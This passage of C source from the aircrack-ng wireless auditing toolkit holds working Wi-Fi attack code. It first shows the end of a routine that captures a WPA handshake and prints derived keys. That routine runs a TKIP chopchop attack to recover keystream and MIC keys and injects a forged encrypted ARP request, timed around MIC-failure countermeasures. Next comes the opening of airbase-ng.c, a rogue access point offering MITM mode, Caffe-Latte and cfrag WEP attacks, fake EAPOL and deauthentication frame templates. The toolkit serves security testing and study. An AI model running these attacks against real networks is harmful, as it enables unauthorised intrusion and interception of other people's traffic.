dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5], opt.iface_out, opt.r_smac[0], opt.r_smac[1], opt.r_smac[2], opt.r_smac[3], opt.r_smac[4], opt.r_smac[5] ); } /* DO MICHAEL TEST */ memset(buf, 0, 128); memcpy(buf, "M", 1); i = michael_test((unsigned char*)"\x82\x92\x5c\x1c\xa1\xd1\x30\xb8", (unsigned char*)buf, strlen(buf), (unsigned char*)"\x43\x47\x21\xca\x40\x63\x9b\x3f"); PCT; printf("Michael Test: %s\n", i ? "Successful" : "Failed"); /* END MICHAEL TEST*/ if(getnet(NULL, 0, 0) != 0) return 1; PCT; printf("Found specified AP\n"); got_hdsk=0; while(1) { getHDSK(); for(i=0; i<10; i++) { read_sleep(500000); if(opt.wpa.state == 7) { got_hdsk = 1; break; } } if(got_hdsk) break; } if(!opt.got_pmk && opt.got_psk && strlen(opt.r_essid) > 1) { calc_pmk(opt.psk, opt.r_essid, opt.pmk); PCT; printf("PSK: %s\n", opt.psk); PCT; printf("PMK: "); for(i=0; i<31; i++) printf("%02X:", opt.pmk[i]); printf("%02X\n", opt.pmk[31]); opt.got_pmk = 1; } if(opt.got_pmk) { opt.wpa_sta.next = NULL; memcpy(opt.wpa_sta.stmac, opt.r_smac, 6); memcpy(opt.wpa_sta.bssid, opt.f_bssid, 6); memcpy(opt.wpa_sta.snonce, opt.wpa.snonce, 32); memcpy(opt.wpa_sta.anonce, opt.wpa.anonce, 32); memcpy(opt.wpa_sta.keymic, opt.wpa.keymic, 20); memcpy(opt.wpa_sta.eapol, opt.wpa.eapol, 256); opt.wpa_sta.eapol_size = opt.wpa.eapol_size; opt.wpa_sta.keyver = opt.wpa.keyver; opt.wpa_sta.valid_ptk = calc_ptk( &opt.wpa_sta, opt.pmk ); PCT; printf("PTK: "); for(i=0; i<79; i++) printf("%02X:", opt.wpa_sta.ptk[i]); printf("%02X\n", opt.wpa_sta.ptk[79]); PCT; printf("Valid PTK: %s\n", (opt.wpa_sta.valid_ptk) ? "Yes" : "No!" ); if(opt.wpa_sta.valid_ptk) opt.got_ptk = 1; PCT; printf("KCK: "); for(i=0; i<15; i++) printf("%02X:", opt.wpa_sta.ptk[i]); printf("%02X\n", opt.wpa_sta.ptk[15]); PCT; printf("KEK: "); for(i=16; i<31; i++) printf("%02X:", opt.wpa_sta.ptk[i]); printf("%02X\n", opt.wpa_sta.ptk[31]); PCT; printf("Temporal Encryption Key (TK1): "); for(i=32; i<47; i++) printf("%02X:", opt.wpa_sta.ptk[i]); printf("%02X\n", opt.wpa_sta.ptk[47]); PCT; printf("Michael Key (FromDS): "); for(i=48; i<55; i++) printf("%02X:", opt.wpa_sta.ptk[i]); printf("%02X\n", opt.wpa_sta.ptk[55]); PCT; printf("Michael Key (ToDS): "); for(i=56; i<63; i++) printf("%02X:", opt.wpa_sta.ptk[i]); printf("%02X\n", opt.wpa_sta.ptk[63]); } /* Select ToDS ARP from Client */ PCT; printf("Waiting for an ARP packet coming from the Client...\n"); opt.f_tods = 1; opt.f_fromds = 0; memcpy(opt.f_smac, opt.r_smac, 6); // memcpy(opt.f_dmac, opt.f_bssid, 6); if(opt.fast == -1) opt.fast = 1; if(opt.f_minlen_set == 0) { opt.f_minlen = 80; } if(opt.f_maxlen_set == 0) { opt.f_maxlen = 80; } while(1) { if( capture_ask_packet( &caplen, 0 ) != 0 ) return( 1 ); if( is_qos_arp_tkip(h80211, caplen) == 1 ) break; } memcpy(packet2, h80211, caplen); packet2_len = caplen; /* Select FromDS ARP to Client */ PCT; printf("Waiting for an ARP response packet coming from the AP...\n"); opt.f_tods = 0; opt.f_fromds = 1; memcpy(opt.f_dmac, opt.r_smac, 6); memcpy(opt.f_smac, NULL_MAC, 6); if(opt.f_minlen_set == 0) { opt.f_minlen = 80; } if(opt.f_maxlen_set == 0) { opt.f_maxlen = 98; } while(1) { if( capture_ask_packet( &caplen, 0 ) != 0 ) return( 1 ); if( is_qos_arp_tkip(h80211, caplen) == 1 ) break; } memcpy(packet1, h80211, caplen); packet1_len = caplen; PCT; printf("Got the answer!\n"); PCT; printf("Waiting 10 seconds to let encrypted EAPOL frames pass without interfering.\n"); read_sleep(10*1000000); memcpy(h80211, packet1, packet1_len); /* Chop the packet down, get a keystream+plaintext, calculate the MIC Key */ if (do_attack_tkipchop(h80211, caplen) == 1) return( 1 ); /* derive IPs and MACs; relays on QoS, ARP and fromDS packet */ if(opt.chopped_from_plain != NULL) { memcpy(opt.ip_cli, opt.chopped_from_plain+58, 4); memcpy(opt.ip_ap, opt.chopped_from_plain+48, 4); memcpy(opt.r_apmac, opt.chopped_from_plain+42, 6); } PCT; printf("AP MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i\n", opt.r_apmac[0],opt.r_apmac[1],opt.r_apmac[2],opt.r_apmac[3],opt.r_apmac[4],opt.r_apmac[5], opt.ip_ap[0],opt.ip_ap[1],opt.ip_ap[2],opt.ip_ap[3]); PCT; printf("Client MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i\n", opt.r_smac[0],opt.r_smac[1],opt.r_smac[2],opt.r_smac[3],opt.r_smac[4],opt.r_smac[5], opt.ip_cli[0],opt.ip_cli[1],opt.ip_cli[2],opt.ip_cli[3]); /* Send an ARP Request from the AP to the Client */ build_arp_request(h80211, &caplen, 0); //writes encrypted tkip arp request into h80211 send_packet(h80211, caplen); PCT; printf("Sent encrypted tkip ARP request to the client.\n"); /* wait until we can generate a new mic failure */ PCT; printf("Wait for the mic countermeasure timeout of %i seconds.\n", opt.mic_failure_interval); while(1) { gettimeofday(&mic_fail, NULL); if( (mic_fail.tv_sec - opt.last_mic_failure.tv_sec) * 1000000UL + (mic_fail.tv_usec - opt.last_mic_failure.tv_usec) > opt.mic_failure_interval * 1000000UL) break; sleep(1); } /* Also chop the answer to get the equivalent MIC Key */ memcpy(h80211, packet2, packet2_len); do_attack_tkipchop(h80211, caplen); /* that's all, folks */ return( 0 ); } aircrack-ng-1.2-rc4/src/airbase-ng.c0000644000000000000000000042215112660207441015673 0ustar rootroot/* * 802.11 monitor AP * based on airtun-ng * * Copyright (C) 2008-2016 Thomas d'Otreppe * Copyright (C) 2008, 2009 Martin Beck * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifdef linux #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "version.h" #include "pcap.h" #include "crypto.h" #include "common.h" #include "eapol.h" #include "osdep/osdep.h" #include "osdep/common.h" // libgcrypt thread callback definition for libgcrypt < 1.6.0 #ifdef USE_GCRYPT #if GCRYPT_VERSION_NUMBER < 0x010600 GCRY_THREAD_OPTION_PTHREAD_IMPL; #endif #endif static struct wif *_wi_in, *_wi_out; #define CRYPT_NONE 0 #define CRYPT_WEP 1 #define EXT_IN 0x01 #define EXT_OUT 0x02 #define NB_PRB 10 /* size of probed ESSID ring buffer */ #define MAX_CF_XMIT 100 #define TI_MTU 1500 #define WIF_MTU 1800 #define MAX_FRAME_EXTENSION 100 //if not all fragments are available 60 seconds after the last fragment was received, they will be removed #define FRAG_TIMEOUT (1000000*60) #define RTC_RESOLUTION 512 #define ALLOW_MACS 0 #define BLOCK_MACS 1 #define DEAUTH_REQ \ "\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00" #define AUTH_REQ \ "\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00" #define ASSOC_REQ \ "\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00" #define NULL_DATA \ "\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B" #define RTS \ "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" #define RATES \ "\x01\x04\x02\x04\x0B\x16" #define EXTENDED_RATES \ "\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C" #define PROBE_REQ \ "\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00" #define PROBE_RSP \ "\x50\x00\x3a\x01\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00" #define WPA1_TAG \ "\xdd\x16\x00\x50\xf2\x01\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50" \ "\xf2\x01\x01\x00\x00\x50\xf2\x02" #define WPA2_TAG \ "\x30\x14\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x0f\xac\x01\x01\x00" \ "\x00\x0f\xac\x02\x01\x00" #define ALL_WPA2_TAGS \ "\x30\x28\x01\x00\x00\x0f\xac\x01\x05\x00\x00\x0f\xac\x01\x00\x0f" \ "\xac\x02\x00\x0f\xac\x03\x00\x0f\xac\x04\x00\x0f\xac\x05\x02\x00" \ "\x00\x0f\xac\x01\x00\x0f\xac\x02\x03\x00" #define ALL_WPA1_TAGS \ "\xdd\x2A\x00\x50\xf2\x01\x01\x00\x00\x50\xf2\x02\x05\x00\x00\x50" \ "\xf2\x01\x00\x50\xf2\x02\x00\x50\xf2\x03\x00\x50\xf2\x04\x00\x50" \ "\xf2\x05\x02\x00\x00\x50\xf2\x01\x00\x50\xf2\x02" extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac); extern int add_crc32(unsigned char* data, int length); extern const unsigned long int crc_tbl[256]; extern int hexStringToArray(char* in, int in_length, unsigned char* out, int out_length); char usage[] = "\n" " %s - (C) 2008-2015 Thomas d'Otreppe\n" " Original work: Martin Beck\n" " http://www.aircrack-ng.org\n" "\n" " usage: airbase-ng \n" "\n" " Options:\n" "\n" " -a bssid : set Access Point MAC address\n" " -i iface : capture packets from this interface\n" // " -y file : read PRGA from this file\n" " -w WEP key : use this WEP key to en-/decrypt packets\n" // " -t tods : send frames to AP (1) or to client (0)\n" // " -r file : read frames out of pcap file\n" " -h MAC : source mac for MITM mode\n" " -f disallow : disallow specified client MACs (default: allow)\n" " -W 0|1 : [don't] set WEP flag in beacons 0|1 (default: auto)\n" " -q : quiet (do not print statistics)\n" " -v : verbose (print more messages)\n" //" -M : M-I-T-M between [specified] clients and bssids\n" " -A : Ad-Hoc Mode (allows other clients to peer)\n" " -Y in|out|both : external packet processing\n" " -c channel : sets the channel the AP is running on\n" " -X : hidden ESSID\n" " -s : force shared key authentication (default: auto)\n" " -S : set shared key challenge length (default: 128)\n" " -L : Caffe-Latte WEP attack (use if driver can't send frags)\n" " -N : cfrag WEP attack (recommended)\n" " -x nbpps : number of packets per second (default: 100)\n" " -y : disables responses to broadcast probes\n" " -0 : set all WPA,WEP,open tags. can't be used with -z & -Z\n" " -z type : sets WPA1 tags. 1=WEP40 2=TKIP 3=WRAP 4=CCMP 5=WEP104\n" " -Z type : same as -z, but for WPA2\n" " -V type : fake EAPOL 1=MD5 2=SHA1 3=auto\n" " -F prefix : write all sent and received frames into pcap file\n" " -P : respond to all probes, even when specifying ESSIDs\n" " -I interval : sets the beacon interval value in ms\n" " -C seconds : enables beaconing of probed ESSID values (requires -P)\n" " -n hex : User specified ANonce when doing the 4-way handshake\n" "\n" " Filter options:\n" " --bssid MAC : BSSID to filter/use\n" " --bssids file : read a list of BSSIDs out of that file\n" " --client MAC : MAC of client to filter\n" " --clients file : read a list of MACs out of that file\n" " --essid ESSID : specify a single ESSID (default: default)\n" " --essids file : read a list of ESSIDs out of that file\n" "\n" " --help : Displays this usage screen\n" "\n"; struct options { struct ST_info *st_1st, *st_end; unsigned char r_bssid[6]; unsigned char r_dmac[6]; unsigned char r_smac[6]; unsigned char f_bssid[6]; unsigned char f_netmask[6]; char *s_face; char *s_file; unsigned char *prga; char *dump_prefix; char *keyout; char *f_cap_name; char *prefix; int f_index; /* outfiles index */ FILE *f_cap; /* output cap file */ FILE *f_xor; /* output prga file */ unsigned char sharedkey[3][4096]; /* array for 3 packets with a size of \ up to 4096Byte */ time_t sk_start; int sk_len; int sk_len2; int r_nbpps; int prgalen; int tods; unsigned char wepkey[64]; int weplen, crypt; int f_essid; int promiscuous; int beacon_cache; int channel; int setWEP; int quiet; int mitm; int external; int hidden; int interval; int forceska; int skalen; int filter; int caffelatte; int ringbuffer; int adhoc; int nb_arp; int verbose; int wpa1type; int wpa2type; int nobroadprobe; int sendeapol; int allwpa; int cf_count; int cf_attack; int record_data; int ti_mtu; //MTU of tun/tap interface int wif_mtu; //MTU of wireless interface // Fixed nonce int use_fixed_nonce; unsigned char fixed_nonce[32]; } opt; struct devices { int fd_in, arptype_in; int fd_out, arptype_out; int fd_rtc; struct tif *dv_ti; struct tif *dv_ti2; int is_wlanng; int is_hostap; int is_madwifi; int is_madwifing; int is_bcm43xx; FILE *f_cap_in; struct pcap_file_header pfh_in; } dev; struct ARP_req { unsigned char *buf; int len; }; struct AP_conf { unsigned char bssid[6]; char *essid; int essid_len; unsigned short interval; unsigned char capa[2]; }; typedef struct ESSID_list* pESSID_t; struct ESSID_list { char *essid; unsigned char len; pESSID_t next; time_t expire; }; typedef struct MAC_list* pMAC_t; struct MAC_list { unsigned char mac[6]; pMAC_t next; }; typedef struct Fragment_list* pFrag_t; struct Fragment_list { unsigned char source[6]; unsigned short sequence; unsigned char* fragment[16]; short fragmentlen[16]; char fragnum; unsigned char* header; short headerlen; struct timeval access; char wep; pFrag_t next; }; /* linked list of detected clients */ struct ST_info { struct ST_info *prev; /* the prev client in list */ struct ST_info *next; /* the next client in list */ struct AP_info *base; /* AP this client belongs to */ time_t tinit, tlast; /* first and last time seen */ unsigned long nb_pkt; /* total number of packets */ unsigned char stmac[6]; /* the client's MAC address */ char essid[256]; /* last associated essid */ int essid_length; /* essid length of last asso */ int probe_index; /* probed ESSIDs ring index */ char probes[NB_PRB][256];/* probed ESSIDs ring buffer */ int ssid_length[NB_PRB]; /* ssid lengths ring buffer */ int power; /* last signal power */ int rate_to; /* last bitrate to station */ int rate_from; /* last bitrate from station */ struct timeval ftimer; /* time of restart */ int missed; /* number of missed packets */ unsigned int lastseq; /* last seen sequnce number */ struct WPA_hdsk wpa; /* WPA handshake data */ int wpatype; /* 1=wpa1 2=wpa2 */ int wpahash; /* 1=md5(tkip) 2=sha1(ccmp) */ int wep; /* capability encryption bit */ }; typedef struct CF_packet *pCF_t; struct CF_packet { unsigned char frags[3][128]; /* first fragments to fill a gap */ unsigned char final[4096]; /* final frame derived from orig */ int fraglen[3]; /* fragmentation frame lengths */ int finallen; /* length of frame in final[] */ int xmitcount; /* how often was this frame sent */ unsigned char fragnum; /* number of fragments to send */ pCF_t next; /* next set of fragments to send */ }; pthread_mutex_t mx_cf; /* lock write access to rCF */ pthread_mutex_t mx_cap; /* lock write access to rCF */ unsigned long nb_pkt_sent; unsigned char h80211[4096]; unsigned char tmpbuf[4096]; unsigned char srcbuf[4096]; char strbuf[512]; int ctrl_c, alarmed, invalid_channel_displayed; char * iwpriv; struct ARP_req * arp; pthread_t beaconpid; pthread_t caffelattepid; pthread_t cfragpid; pESSID_t rESSID; pthread_mutex_t rESSIDmutex; pMAC_t rBSSID; pMAC_t rClient; pFrag_t rFragment; pCF_t rCF; void sighandler( int signum ) { if( signum == SIGINT ) ctrl_c++; if( signum == SIGALRM ) alarmed++; } int addESSID(char* essid, int len, int expiration) { pESSID_t tmp; pESSID_t cur; time_t now; if(essid == NULL) return -1; if(len <= 0 || len > 255) return -1; pthread_mutex_lock(&rESSIDmutex); cur = rESSID; if(rESSID == NULL) { pthread_mutex_unlock(&rESSIDmutex); return -1; } while(cur->next != NULL) { // if it already exists, just update the expiration time if(cur->len == len && ! memcmp(cur->essid, essid, len)) { if(cur->expire && expiration) { time(&now); cur->expire = now + expiration; } pthread_mutex_unlock(&rESSIDmutex); return 0; } cur = cur->next; } //alloc mem tmp = (pESSID_t) malloc(sizeof(struct ESSID_list)); //set essid tmp->essid = (char*) malloc(len+1); memcpy(tmp->essid, essid, len); tmp->essid[len] = 0x00; tmp->len = len; // set expiration date if(expiration) { time(&now); tmp->expire = now + expiration; } else { tmp->expire = 0; } tmp->next = NULL; cur->next = tmp; pthread_mutex_unlock(&rESSIDmutex); return 0; } int capture_packet(unsigned char* packet, int length) { struct pcap_pkthdr pkh; struct timeval tv; int n; #if defined(__sun__) struct flock fl; fl.l_start = 0; fl.l_len = 0; fl.l_whence = SEEK_SET; #endif if( opt.f_cap != NULL && length >= 10) { pkh.caplen = pkh.len = length; gettimeofday( &tv, NULL ); pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; n = sizeof( pkh ); #if defined(__sun__) fl.l_type = F_WRLCK; fcntl(fileno(opt.f_cap), F_SETLKW, &fl); #else flock(fileno(opt.f_cap), LOCK_EX); #endif if( fwrite( &pkh, 1, n, opt.f_cap ) != (size_t) n ) { perror( "fwrite(packet header) failed" ); #if defined(__sun__) fl.l_type = F_UNLCK; fcntl(fileno(opt.f_cap), F_GETLK, &fl); #else flock(fileno(opt.f_cap), LOCK_UN); #endif return( 1 ); } fflush( stdout ); n = pkh.caplen; if( fwrite( packet, 1, n, opt.f_cap ) != (size_t) n ) { perror( "fwrite(packet data) failed" ); #if defined(__sun__) fl.l_type = F_UNLCK; fcntl(fileno(opt.f_cap), F_GETLK, &fl); #else flock(fileno(opt.f_cap), LOCK_UN); #endif return( 1 ); } fflush( stdout ); fflush( opt.f_cap ); #if defined(__sun__) fl.l_type = F_UNLCK; fcntl(fileno(opt.f_cap), F_GETLK, &fl); #else flock(fileno(opt.f_cap), LOCK_UN); #endif } return 0; } int dump_initialize( char *prefix ) { int i=0; FILE *f; char ofn[1024]; struct pcap_file_header pfh; if ( prefix == NULL) { return( 0 ); } /* check not to overflow the ofn buffer */ if( strlen( prefix ) >= sizeof( ofn ) - 10 ) prefix[sizeof( ofn ) - 10] = '\0'; /* make sure not to overwrite any existing file */ memset( ofn, 0, sizeof( ofn ) ); opt.f_index = 1; do { snprintf( ofn, sizeof( ofn ) - 1, "%s-%02d.%s", prefix, opt.f_index, "cap" ); if( ( f = fopen( ofn, "rb+" ) ) != NULL ) { fclose( f ); opt.f_index++; continue; } i++; } while( i < 1 ); opt.prefix = (char*) malloc(strlen(prefix)+2); snprintf(opt.prefix, strlen(prefix)+1, "%s", prefix); /* create the output packet capture file */ snprintf( ofn, sizeof( ofn ) - 1, "%s-%02d.cap", prefix, opt.f_index ); if( ( opt.f_cap = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); return( 1 ); } opt.f_cap_name = (char*) malloc(128); snprintf(opt.f_cap_name, 127, "%s",ofn); pfh.magic = TCPDUMP_MAGIC; pfh.version_major = PCAP_VERSION_MAJOR; pfh.version_minor = PCAP_VERSION_MINOR; pfh.thiszone = 0; pfh.sigfigs = 0; pfh.snaplen = 65535; pfh.linktype = LINKTYPE_IEEE802_11; if( fwrite( &pfh, 1, sizeof( pfh ), opt.f_cap ) != (size_t) sizeof( pfh ) ) { perror( "fwrite(pcap file header) failed" ); return( 1 ); } if(!opt.quiet) { PCT; printf("Created capture file \"%s\".\n", ofn); } return( 0 ); } int addFrag(unsigned char* packet, unsigned char* smac, int len) { pFrag_t cur = rFragment; int seq, frag, wep, z, i; unsigned char frame[4096]; unsigned char K[128]; if(packet == NULL) return -1; if(smac == NULL) return -1; if(len <= 32 || len > 2000) return -1; if(rFragment == NULL) return -1; memset(frame, 0, 4096); memcpy(frame, packet, len); z = ( ( frame[1] & 3 ) != 3 ) ? 24 : 30; frag = frame[22] & 0x0F; seq = (frame[22] >> 4) | (frame[23] << 4); wep = (frame[1] & 0x40) >> 6; if(frag < 0 || frag > 15) return -1; if(wep && opt.crypt != CRYPT_WEP) return -1; if(wep) { //decrypt it memcpy( K, frame + z, 3 ); memcpy( K + 3, opt.wepkey, opt.weplen ); if (decrypt_wep( frame + z + 4, len - z - 4, K, 3 + opt.weplen ) == 0 && (len-z-4 > 8) ) { printf("error decrypting... len: %d\n", len-z-4); return -1; } /* WEP data packet was successfully decrypted, * * remove the WEP IV & ICV and write the data */ len -= 8; memcpy( frame + z, frame + z + 4, len - z ); frame[1] &= 0xBF; } while(cur->next != NULL) { cur = cur->next; if( (memcmp(smac, cur->source, 6) == 0) && (seq == cur->sequence) && (wep == cur->wep) ) { //entry already exists, update // printf("got seq %d, added fragment %d \n", seq, frag); if(cur->fragment[frag] != NULL) return 0; if( (frame[1] & 0x04) == 0 ) { // printf("max fragnum is %d\n", frag); cur->fragnum = frag; //no higher frag number possible } cur->fragment[frag] = (unsigned char*) malloc(len-z); memcpy(cur->fragment[frag], frame+z, len-z); cur->fragmentlen[frag] = len-z; gettimeofday(&cur->access, NULL); return 0; } } // printf("new seq %d, added fragment %d \n", seq, frag); //new entry, first fragment received //alloc mem cur->next = (pFrag_t) malloc(sizeof(struct Fragment_list)); cur = cur->next; for(i=0; i<16; i++) { cur->fragment[i] = NULL; cur->fragmentlen[i] = 0; } if( (frame[1] & 0x04) == 0 ) { // printf("max fragnum is %d\n", frag); cur->fragnum = frag; //no higher frag number possible } else { cur->fragnum = 0; } //remove retry & more fragments flag frame[1] &= 0xF3; //set frag number to 0 frame[22] &= 0xF0; memcpy(cur->source, smac, 6); cur->sequence = seq; cur->header = (unsigned char*) malloc(z); memcpy(cur->header, frame, z); cur->headerlen = z; cur->fragment[frag] = (unsigned char*) malloc(len-z); memcpy(cur->fragment[frag], frame+z, len-z); cur->fragmentlen[frag] = len-z; cur->wep = wep; gettimeofday(&cur->access, NULL); cur->next = NULL; return 0; } int timeoutFrag() { pFrag_t old, cur = rFragment; struct timeval tv; int64_t timediff; int i; if(rFragment == NULL) return -1; gettimeofday(&tv, NULL); while(cur->next != NULL) { old = cur->next; timediff = (tv.tv_sec - old->access.tv_sec)*1000000UL + (tv.tv_usec - old->access.tv_usec); if(timediff > FRAG_TIMEOUT) { //remove captured fragments if(old->header != NULL) free(old->header); for(i=0; i<16; i++) if(old->fragment[i] != NULL) free(old->fragment[i]); cur->next = old->next; free(old); } cur = cur->next; } return 0; } int delFrag(unsigned char* smac, int sequence) { pFrag_t old, cur = rFragment; int i; if(rFragment == NULL) return -1; if(smac == NULL) return -1; if(sequence < 0) return -1; while(cur->next != NULL) { old = cur->next; if(memcmp(smac, old->source, 6) == 0 && old->sequence == sequence) { //remove captured fragments if(old->header != NULL) free(old->header); for(i=0; i<16; i++) if(old->fragment[i] != NULL) free(old->fragment[i]); cur->next = old->next; free(old); return 0; } cur = cur->next; } return 0; } unsigned char* getCompleteFrag(unsigned char* smac, int sequence, int *packetlen) { pFrag_t old, cur = rFragment; int i, len=0; unsigned char* packet=NULL; unsigned char K[128]; if(rFragment == NULL) return NULL; if(smac == NULL) return NULL; while(cur->next != NULL) { old = cur->next; if(memcmp(smac, old->source, 6) == 0 && old->sequence == sequence) { //check if all frags available if(old->fragnum == 0) return NULL; for(i=0; i<=old->fragnum; i++) { if(old->fragment[i] == NULL) return NULL; len += old->fragmentlen[i]; } if(len > 2000) return NULL; // printf("got a complete frame -> build it\n"); if(old->wep) { if( opt.crypt == CRYPT_WEP) { packet = (unsigned char*) malloc(len+old->headerlen+8); K[0] = rand() & 0xFF; K[1] = rand() & 0xFF; K[2] = rand() & 0xFF; K[3] = 0x00; memcpy(packet, old->header, old->headerlen); len=old->headerlen; memcpy(packet+len, K, 4); len+=4; for(i=0; i<=old->fragnum; i++) { memcpy(packet+len, old->fragment[i], old->fragmentlen[i]); len+=old->fragmentlen[i]; } /* write crc32 value behind data */ if( add_crc32(packet+old->headerlen+4, len-old->headerlen-4) != 0 ) return NULL; len += 4; //icv memcpy( K + 3, opt.wepkey, opt.weplen ); encrypt_wep( packet+old->headerlen+4, len-old->headerlen-4, K, opt.weplen+3 ); packet[1] = packet[1] | 0x40; //delete captured fragments delFrag(smac, sequence); *packetlen = len; return packet; } else return NULL; } else { packet = (unsigned char*) malloc(len+old->headerlen); memcpy(packet, old->header, old->headerlen); len=old->headerlen; for(i=0; i<=old->fragnum; i++) { memcpy(packet+len, old->fragment[i], old->fragmentlen[i]); len+=old->fragmentlen[i]; } //delete captured fragments delFrag(smac, sequence); *packetlen = len; return packet; } } cur = cur->next; } return packet; } int addMAC(pMAC_t pMAC, unsigned char* mac) { pMAC_t cur = pMAC; if(mac == NULL) return -1; if(pMAC == NULL) return -1; while(cur->next != NULL) cur = cur->next; //alloc mem cur->next = (pMAC_t) malloc(sizeof(struct MAC_list)); cur = cur->next; //set mac memcpy(cur->mac, mac, 6); cur->next = NULL; return 0; } int delESSID(char* essid, int len) { pESSID_t old, cur; if(essid == NULL) return -1; if(len <= 0 || len > 255) return -1; pthread_mutex_lock(&rESSIDmutex); cur = rESSID; if(rESSID == NULL) { pthread_mutex_unlock(&rESSIDmutex); return -1; } while(cur->next != NULL) { old = cur->next; if(old->len == len) { if(memcmp(old->essid, essid, len) == 0) { //got it cur->next = old->next; free(old->essid); old->essid = NULL; old->next = NULL; old->len = 0; free(old); pthread_mutex_unlock(&rESSIDmutex); return 0; } } cur = cur->next; } pthread_mutex_unlock(&rESSIDmutex); return -1; } void flushESSID(void) { pESSID_t old; pESSID_t cur; time_t now; pthread_mutex_lock(&rESSIDmutex); cur = rESSID; if(rESSID == NULL) { pthread_mutex_unlock(&rESSIDmutex); return; } while(cur->next != NULL) { old = cur->next; if(old->expire) { time(&now); if(now > old->expire) { //got it cur->next = old->next; free(old->essid); old->essid = NULL; old->next = NULL; old->len = 0; free(old); pthread_mutex_unlock(&rESSIDmutex); return; } } cur = cur->next; } pthread_mutex_unlock(&rESSIDmutex); } int delMAC(pMAC_t pMAC, char* mac) { pMAC_t old, cur = pMAC; if(mac == NULL) return -1; if(pMAC == NULL) return -1; while(cur->next != NULL) { old = cur->next; if(memcmp(old->mac, mac, 6) == 0) { //got it cur->next = old->next; old->next = NULL; free(old); return 0; } cur = cur->next; } return -1; } int gotESSID(char* essid, int len) { pESSID_t old, cur; if(essid == NULL) return -1; if(len <= 0 || len > 255) return -1; pthread_mutex_lock(&rESSIDmutex); cur = rESSID; if(rESSID == NULL) { pthread_mutex_unlock(&rESSIDmutex); return -1; } while(cur->next != NULL) { old = cur->next; if(old->len == len) { if(memcmp(old->essid, essid, len) == 0) { pthread_mutex_unlock(&rESSIDmutex); return 1; } } cur = cur->next; } pthread_mutex_unlock(&rESSIDmutex); return 0; } int gotMAC(pMAC_t pMAC, unsigned char* mac) { pMAC_t cur = pMAC; if(mac == NULL) return -1; if(pMAC == NULL) return -1; while(cur->next != NULL) { cur = cur->next; if(memcmp(cur->mac, mac, 6) == 0) { //got it return 1; } } return 0; } int getESSID(char *essid) { int len; pthread_mutex_lock(&rESSIDmutex); if(rESSID == NULL || rESSID->next == NULL) { pthread_mutex_unlock(&rESSIDmutex); return 0; } memcpy(essid, rESSID->next->essid, rESSID->next->len + 1); len = rESSID->next->len; pthread_mutex_unlock(&rESSIDmutex); return len; } int getNextESSID(char *essid) { int len; pESSID_t cur; pthread_mutex_lock(&rESSIDmutex); if(rESSID == NULL || rESSID->next == NULL) { pthread_mutex_unlock(&rESSIDmutex); return 0; } len = strlen(essid); for (cur = rESSID->next; cur != NULL; cur = cur->next) { if (*essid == 0) { break; } // Check if current SSID. if (cur->len == len && cur->essid != NULL && strcmp(essid, cur->essid) == 0) { // SSID found, get next one cur = cur->next; if (cur == NULL) { cur = rESSID->next; } break; } } len = 0; if (cur != NULL) { memcpy(essid, cur->essid, cur->len + 1); len = cur->len; } pthread_mutex_unlock(&rESSIDmutex); return len; } int getESSIDcount() { pESSID_t cur; int count=0; pthread_mutex_lock(&rESSIDmutex); cur = rESSID; if(rESSID == NULL) { pthread_mutex_unlock(&rESSIDmutex); return -1; } while(cur->next != NULL) { cur = cur->next; count++; } pthread_mutex_unlock(&rESSIDmutex); return count; } int getMACcount(pMAC_t pMAC) { pMAC_t cur = pMAC; int count=0; if(pMAC == NULL) return -1; while(cur->next != NULL) { cur = cur->next; count++; } return count; } unsigned char* getMAC(pMAC_t pMAC) { pMAC_t cur = pMAC; if(pMAC == NULL) return NULL; if(cur->next != NULL) return cur->next->mac; return NULL; } int 